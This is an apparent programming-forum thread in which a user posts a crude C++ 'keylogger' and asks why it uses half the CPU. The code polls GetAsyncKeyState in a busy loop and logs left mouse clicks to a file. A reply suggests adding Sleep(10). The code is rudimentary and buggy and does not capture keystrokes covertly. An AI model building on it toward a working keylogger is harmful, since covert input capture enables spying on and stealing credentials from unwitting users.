keylogger problem

this is a program that i want to do, but the first problem is that it takes like 50% of my processor, how can i fix that ?


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

#include <windows.h>
#include <iostream>
#include <fstream>
using namespace std;

ofstream file("hextech.txt",ios::ate) ;

class spywere  {

    public:


int spy ()  {

for(int a = 1; a == 1 ;)  {
     if(GetAsyncKeyState(VK_UP) && GetAsyncKeyState(VK_DOWN))  { a == 0 ; exit(0); }
 if(GetAsyncKeyState(VK_LBUTTON))  { file << "Mouse_L" << endl; file.close() ; }

}

}

}noob ;



int main()  {


     system("color c");

noob.spy() ;


    system("pause");
}
Adding a Sleep(10) in your loop is one of many solutions (however, not a good one).
Topic archived. No new replies allowed.